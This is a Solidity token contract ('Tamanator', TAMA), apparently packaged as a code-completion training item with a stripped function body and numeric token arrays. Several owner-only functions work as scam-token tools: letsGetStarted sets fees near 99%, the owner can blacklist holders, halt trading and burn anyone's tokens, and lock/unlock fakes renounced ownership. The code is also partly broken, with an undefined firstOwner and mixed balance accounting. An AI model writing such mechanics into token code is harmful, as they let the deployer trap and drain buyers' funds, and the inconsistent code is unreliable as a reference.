_msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Tamanator is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _tLocked; mapping (address => uint256) private _balances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxTx; mapping (address => bool) private _isExcludedFromMaxWallet; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; mapping (address => uint256) private _purchaseHistory; address[] private _excluded; address private _developerAddress1; address private _developerAddress2; address private _developerAddress3; address private _developerAddress4; address private _marketingAddress; address private _burnAddress; uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _totalSupply)); uint256 private _tFeeTotal; string private _name = "Tamanator"; string private _symbol = "TAMA"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _burnFee = 1; uint256 private _previousBurnFee = _burnFee; uint256 public _developerFee = 3; uint256 private _previousDeveloperFee = _developerFee; uint256 public _marketingFee = 3; uint256 private _previousMarketingFee = _marketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public trading; uint256 public _maxWallet = 20000000000 * 10**9; //2% of TS uint256 public _maxBuy = 20000000000 * 10**9; //2% of TS uint256 public _maxSell = 20000000000 * 10**9; //2% if TS // set this number to adjust the rate of swaps uint256 public numTokensSellToAddToLiquidity = 2500000000 * 10**9; uint256 private _rateLimitSeconds = 5; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event burningUpdated(bool _enabled); event tradingUpdated(bool _enabled); event blacklist(address indexed account, bool isBlacklisted); event SwapAndSend( uint256 tokensSwapped, uint256 ethReceived, uint256 tokens ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // KOVAN // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // MAINNET // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // TESTNET // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _marketingAddress = payable(0x33bC9daC53336bA2408756d858888E71216438e1); _developerAddress1 = payable(0xF7F2c1668e9e2818A571c8E09D1aC7A12EA64067); _developerAddress2 = payable(0x178988EaAD5a415283cb0ce6869Bb8946E6847A4); _developerAddress3 = payable(0x8d9b518C9B59480fe5a875BbefEF9C3115699a91); _developerAddress4 = payable(0x62108b8a8B46c0Aa081b2223F6CD1d29dE8EDbfB); _burnAddress = payable(0x000000000000000000000000000000000000dEaD); //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; // Add all the tokens created to the creator of the token _balances[msg.sender] = _totalSupply; // Emit an Transfer event to notify the blockchain that an Transfer has occured emit Transfer(address(0), msg.sender, _totalSupply); // Exclude from max tx _isExcludedFromMaxTx[owner()] = true; _isExcludedFromMaxTx[address(this)] = true; _isExcludedFromMaxTx[address(_burnAddress)] = true; _isExcludedFromMaxTx[address(0)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function lockTimeOfWallet() public view returns (uint256) { return _tLocked[_msgSender()]; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { require(block.timestamp > _tLocked[_msgSender()] , "Wallet is still locked"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(block.timestamp > _tLocked[sender] , "Wallet is still locked"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function lockWallet(uint256 time) public { _tLocked[_msgSender()] = block.timestamp + time; } function addToBlacklist(address account, bool isBlacklisted) public onlyOwner { require(_isBlacklisted[account] != isBlacklisted, "Tamanator: Account is already the value of 'blacklisted'"); _isBlacklisted[account] = isBlacklisted; emit blacklist(account, isBlacklisted); } function setMaxTransaction(uint256 maxBuy, uint256 maxSell) public onlyOwner() { _maxBuy = maxBuy * 10 ** 9; _maxSell = maxSell * 10**9; } function setMaxWallet(uint256 maxWallet) public onlyOwner() { _maxWallet = maxWallet * 10 ** 9; } function tradingEnabled(bool _enabled) public onlyOwner { trading = _enabled; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _totalSupply, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function isExcludedFromMaxTx(address account) public view returns(bool) { return _isExcludedFromMaxTx[account]; } function excludeOrIncludeFromMaxTx(address account, bool exclude) public onlyOwner { _isExcludedFromMaxTx[account] = exclude; } function setMarketingAddress(address payable marketing) public onlyOwner { _marketingAddress = marketing; } function setMinTokensToSwap(uint256 _minTokens) external onlyOwner() { numTokensSellToAddToLiquidity = _minTokens * 10 ** 9; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setFees(uint256 TaxFee, uint256 DevFee, uint256 MarketingFee, uint256 BurnFee) public onlyOwner { _taxFee = TaxFee; _developerFee = DevFee; _marketingFee = MarketingFee; _burnFee = BurnFee; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function checkContractBalance() external { require(firstOwner() == _msgSender(), "You can't do this"); address payable _contract = payable(_msgSender()); _contract.transfer(address(this).balance); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tBurn = calculateLiquidityPlusFees(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _totalSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _totalSupply); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_totalSupply)) return (_rTotal, _totalSupply); return (rSupply, tSupply); } function _takeBurn(uint256 tBurn) private { uint256 currentRate = _getRate(); uint256 rBurn = tBurn.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rBurn); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tBurn); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityPlusFees(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee + _developerFee + _marketingFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _burnFee == 0 && _marketingFee == 0 && _developerFee == 0) return; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _previousDeveloperFee = _developerFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _burnFee = 0; _developerFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; _developerFee = _previousDeveloperFee; _marketingFee = _previousMarketingFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[to]); require(!_isBlacklisted[from]); if (!_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] && !_isExcludedFromMaxWallet[from] && !_isExcludedFromMaxWallet[to] && from == uniswapV2Pair) { require(trading == true, "Trading is not enabled"); require(amount <= _maxBuy, "Transfer amount exceeds the maxBuy."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= _maxWallet, "Exceeds maximum wallet token amount."); } if (!_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] && !_isExcludedFromMaxWallet[from] && !_isExcludedFromMaxWallet[to] && to == uniswapV2Pair) { require(trading == true, "Trading is not enabled"); require(amount <= _maxSell, "Sell transfer amount exceeds the maxSell."); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxSell) { contractTokenBalance = _maxSell; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 burnPortion = contractTokenBalance.mul(_burnFee).div(100); uint256 totalLiqFee = _marketingFee + _developerFee; contractTokenBalance = contractTokenBalance.sub(burnPortion); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> TART swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // Burn Portion // Developer Portion uint256 developerBalance = newBalance.div(totalLiqFee).mul(_developerFee); uint256 developerSplit = developerBalance.div(4); developerBalance = developerBalance.sub(developerSplit).sub(developerSplit).sub(developerSplit); // Marketing Portion uint256 marketingBalance = newBalance.div(totalLiqFee).mul(_marketingFee); (bool sent, bytes memory data) = _developerAddress1.call{value: developerSplit}(""); (sent, data) = _developerAddress2.call{value: developerSplit}(""); (sent, data) = _developerAddress3.call{value: developerSplit}(""); (sent, data) = _developerAddress4.call{value: developerBalance}(""); (sent, data) = _marketingAddress.call{value: marketingBalance}(""); (sent, data) = _burnAddress.call{value: burnPortion}(""); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //pragma solidity ^0.8.4; /** * @notice _burn will destroy tokens from an address inputted and then decrease total supply * An Transfer event will emit with receiever set to zero address * * Requires * - Account cannot be zero * - Account balance has to be bigger or equal to amount */ function _burn(address account, uint256 amount) internal { require(account != address(0), "Tamanator: cannot burn from zero address"); require(_balances[account] >= amount, "Tamanator: Cannot burn more than the account owns"); // Remove the amount from the account balance _balances[account] = _balances[account] - amount; // Decrease totalSupply _totalSupply = _totalSupply - amount; // Emit event, use zero address as reciever emit Transfer(account, address(0), amount); } /** * @notice burn is used to destroy tokens on an address * * See {_burn} * Requires * - msg.sender must be the token owner * */ function burn(address account, uint256 amount) public onlyOwner returns(bool) { _burn(account, amount); return true; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function checkBot(address sender,address recipient) private { if (sender == address(uniswapV2Pair) && recipient != address(0) && recipient != address(uniswapV2Router) && recipient != owner()) { _purchaseHistory[recipient] = block.timestamp; } if(!_isExcludedFromFee[sender] && sender != address(0) && sender != address(uniswapV2Pair) && (recipient == address(uniswapV2Pair) || recipient == address(uniswapV2Router))) { require(_purchaseHistory[sender].add(_rateLimitSeconds) < block.timestamp, "Error: Are you a bot?"); } } function addLP() external onlyOwner() { setFees(0,0,0,0); trading = false; swapAndLiquifyEnabled = false; setMaxWallet(totalSupply()); setMaxTransaction(totalSupply(), totalSupply()); } function letsGoLive() external onlyOwner() { setFees(3,3,3,0); setMaxWallet(20000000001); setMaxTransaction(20000000001, 20000000001); trading = true; swapAndLiquifyEnabled = true; } function letsGetStarted() external onlyOwner() { setFees(24,25,25,25); setMaxWallet(20000000001); setMaxTransaction(20000000001, 20000000001); trading = true; swapAndLiquifyEnabled = true; } }
split the contract balance into halves capture the contract's current ETH balance. this is so that we can capture exactly the amount of ETH that the swap creates, and not make the liquidity event include any ETH that has been manually sent to the contract swap tokens for ETH how much ETH did we just swap into? Burn Portion Developer Portion Marketing Portion
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 burnPortion = contractTokenBalance.mul(_burnFee).div(100); uint256 totalLiqFee = _marketingFee + _developerFee; contractTokenBalance = contractTokenBalance.sub(burnPortion); uint256 initialBalance = address(this).balance; uint256 newBalance = address(this).balance.sub(initialBalance); uint256 developerBalance = newBalance.div(totalLiqFee).mul(_developerFee); uint256 developerSplit = developerBalance.div(4); developerBalance = developerBalance.sub(developerSplit).sub(developerSplit).sub(developerSplit); uint256 marketingBalance = newBalance.div(totalLiqFee).mul(_marketingFee); }
2,117,853
[ 1, 4939, 326, 6835, 11013, 1368, 19514, 3324, 7477, 326, 6835, 1807, 783, 512, 2455, 11013, 18, 333, 353, 1427, 716, 732, 848, 7477, 8950, 326, 3844, 434, 512, 2455, 716, 326, 7720, 3414, 16, 471, 486, 1221, 326, 4501, 372, 24237, 871, 2341, 1281, 512, 2455, 716, 711, 2118, 10036, 3271, 358, 326, 6835, 7720, 2430, 364, 512, 2455, 3661, 9816, 512, 2455, 5061, 732, 2537, 7720, 1368, 35, 605, 321, 6008, 285, 14526, 6008, 285, 6622, 21747, 6008, 285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7720, 1876, 48, 18988, 1164, 12, 11890, 5034, 6835, 1345, 13937, 13, 3238, 2176, 1986, 12521, 288, 203, 3639, 2254, 5034, 18305, 2617, 285, 273, 6835, 1345, 13937, 18, 16411, 24899, 70, 321, 14667, 2934, 2892, 12, 6625, 1769, 203, 3639, 2254, 5034, 2078, 48, 18638, 14667, 273, 389, 3355, 21747, 14667, 397, 389, 23669, 14667, 31, 203, 3639, 6835, 1345, 13937, 273, 6835, 1345, 13937, 18, 1717, 12, 70, 321, 2617, 285, 1769, 203, 203, 3639, 2254, 5034, 2172, 13937, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 203, 203, 3639, 2254, 5034, 394, 13937, 273, 1758, 12, 2211, 2934, 12296, 18, 1717, 12, 6769, 13937, 1769, 203, 203, 540, 203, 3639, 2254, 5034, 8751, 13937, 273, 394, 13937, 18, 2892, 12, 4963, 48, 18638, 14667, 2934, 16411, 24899, 23669, 14667, 1769, 203, 3639, 2254, 5034, 8751, 5521, 273, 8751, 13937, 18, 2892, 12, 24, 1769, 203, 3639, 8751, 13937, 273, 8751, 13937, 18, 1717, 12, 23669, 5521, 2934, 1717, 12, 23669, 5521, 2934, 1717, 12, 23669, 5521, 1769, 203, 3639, 2254, 5034, 13667, 310, 13937, 273, 394, 13937, 18, 2892, 12, 4963, 48, 18638, 14667, 2934, 16411, 24899, 3355, 21747, 14667, 1769, 203, 540, 203, 203, 565, 289, 203, 377, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
